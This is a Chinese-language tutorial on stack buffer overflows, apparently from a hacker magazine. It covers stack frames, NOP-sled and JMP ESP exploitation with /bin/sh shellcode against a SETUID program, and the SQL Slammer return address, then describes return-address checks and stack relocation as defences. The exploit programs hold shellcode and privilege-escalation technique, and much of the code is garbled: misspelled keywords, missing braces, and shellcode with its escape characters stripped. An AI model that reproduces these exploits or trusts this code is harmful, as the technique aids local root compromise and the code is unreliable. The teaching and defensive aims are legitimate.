溢出是网络安全中经常接触到的一个问题,一旦出现某种溢出漏洞,网络上成千上万的电脑都将成为Hacker兄弟姐妹们砧板上的肉了。那么溢出到底是什么?这种攻击方式需要怎么利用和防范?慢慢往下看就知道了。 
溢出就是程序对用户提交的数据不作任何检查或者检查不完全而导致的程序/内存错误,在学习它之前读者朋友们一定要理解虚拟内存的概念,这里我对这些东西不作介绍了,想知道的朋友可以去看看其他的书籍。 
我们先来看看堆栈溢出是怎么样的,看看下面的程序:

void lizi(int a ,int b) 
 { 
 char buffer[5]; 
 char buffer1[15]; 
 } 
 viod main() 
 { 
 lizi(1,2) 
 }


  上面这段C程序在汇编中显示如下: 

<main> 
 pushl $1 
 pushl $2 
 call lizi 
 <lizi> 
 pushl %ebp 
 movl %esp,%ebp 
 subl $20,%esp


我们通过这两个程序比较可以发现,当调用LIZI函数的时候,首先使两个参数入栈,其次是当前指令的下一条指令入栈(ret地址)马上当前的参底也入栈(EBP),然后又给BUFFER和BUFFER1分配了20字节的空间,那么函数调用返回的时候又发生了什么事情呢?首先是恢复EBP底内容,然后把RET弹出到EIP里面,这样程序就会去执行EIP指向的地址。说完了函数调用的情况,我们再看看这段程序:

void lizi(char *buffer) 
 { 
 char buf[8]; 
 sprintf(buf,“%s”,buffer) 
 } 
  viod main() 
 { 
 char buffer[999]; 
 int i; 
 for(i=0;i<998;i++) 
   buffer[1]=’a’; 
 lizi(buffer) 
 }


运行它之后会出现异常,为什么会这样呢?因为buffer中间有998个a,而buf只能容纳8个字节,这时自然就会覆盖我们的ret地址和其它的内存了。如果我们写个Shellcode,然后用一个指向Shellcode的值覆盖RET地址,程序自然就会去执行我们的Shellcode了,可是我们怎么能构造我们Shellcode的地址呢?幸好老一辈的前辈们发明了NOP的方法,这里我给大家一个程序演示: 

Void lizi (char *buf) 
 { 
 char sr[12]; 
 trcpy(sr,buf); 
 } 
 void main () 
 { 
 char shellcode[]=“xebxifx5ex89x76x88x31xc0x88x46x07x89x46x0cxb0x0b” 
        “x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd” 
        “x80xe8xdcxffxffxff/bin/sh” 
 int 1; 
 char buf[20000] , unsigned ret=0x00010000; 
   meset(buf.,0x90,sizef(buf));/*0x90就是NOPS*/ 
 memcpy(buf+14,ret,4); 
 memcpy(buf+1900,shellcode,stelen(shellcode); 
 lizi(buf); 
 }


给程序加上SETUID位,退出ROOT然后用普通用户运行,看到没有?bash#出来了! 
后来又有一些高手想出了新的方法:用一个指向CALL ESP 或者JMP ESP的地址来覆盖RET,这样我们用Shellcode覆盖ESP就OK了——SQL儒虫王大家还记得吧?它就是运用了这种手法,用0x42b0c9dc覆盖RET,而它又正好指向JMP ESP。写个程序给他家看看: 

void lizi(char *str) 
 buffer[14] 
 strcpy(buffer,str) 
 } 
 ovid main() 
 { 
 char str99]; 
 unsigned ret 
 int i; 
 _asm 
 { 
 pop $+4 
 call esp 
 pop ebx 
 } 
 char shellcode[]=“xebxifx5ex89x76x88x31xc0x88x46x07x89x46x0cxb0x0b” 
        “x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd” 
        “x80xe8xdcxffxffxff/bin/sh”; 
 for(i=0;1<16;i++) 
 str[i]=0x90; 
 sprintf(ret,”返回地址是%X“,ebx); 
 memcpy(str+16,ret,4); 
 memcpy(str+20,shellcode,strlen(shellcode); 
 lizi(str) 
 }


上面lizi函数不检查参数的长度,直接就STRCPY到BUFFER里面,返回地址指向CALL ESP,ESP指向SHELLCODE。
好了,说了两种攻击方法了,大家一定很想知道防范的方法吧?其实堆栈溢出的方法很多,如果你还想要知道更多的方法就看看黑防以前牛人们写的文章吧,下面说说防御方法。

防御篇 
 其实,要防止堆栈溢出最好的方法是写程序的时候保持清新的头脑,这样才能写出更加安全的代码。这里我给大家介绍两种防范堆栈溢出的方法。 
 第一种:其实现在很多人都在用这种防御方法,那就是函数返回地址检查法。这里我自己写了段代码,供大家参考。其实函数返回地址检查法首先是在函数调用的时候把返回地址放到另外一个堆栈里面,在函数返回的时候,再比较RET和它的值,如果不一样,那么就是被人非法改写了。可以最先在程序最前面申请一个空间: 

Int x=0; 
          User[128];


然后写两个函数: 

int start() 
 { 
 _asm 
 { 
 mov eax,[esp+2] 
 mov [user+x],eax 
 add x,4 
 } 
 }


这个函数用于把RET地址传给USER,看结尾的函数:

end() 
 { 
 _asm 
 { 
 sub x,4 
 mov ax,esp 
 cmp user,eax 
 ………………………….. 
 }


第二种我觉得是我自己发明的哦,嘿嘿,不知道是不是没见过高手们的东西,见笑了。这种方法可以防止NOPS这种攻击手法,我的想法是首先给程序一个新的堆栈,然后在每次返回的时候判断返回地址是否是这个堆栈里面的地址,这样程序如果想直接跳到堆栈执行的话就不可能了。看代码:

unsigned ret; 
 static char stack[8 mb]; 
 _asm 
 { 
  mov esp,(stack+sizeof(stack)) 
 } 
 这段代码放在程序前面,给程序换个新的堆栈,然后再给各函数判断返回地址: 
 lizi() 
 { 
 _asm 
 { 
 move eax,esp 
 mov ret,eax 
 } 
 if(ret<( stack+sizeof(stack))|| ret> (stack+o) 
 …………………………………………… 
 }


这样就能起到比较好的防范方法了,其实最重要的方法是一定要对用户输入的数据进行长度、类别检查(注意:如果判断长度时候,不要接受负数,这样也可能会引起溢出)。 
大家还记得半年前LNUIX的DO_BRK()函数吗?它就是因为对参数没有进行好的检查而导致的。这个漏洞导致普通用户可以改写UID的值,虽然不属于溢出,但是它也是因为对用户提交的数据不作检查而导致的。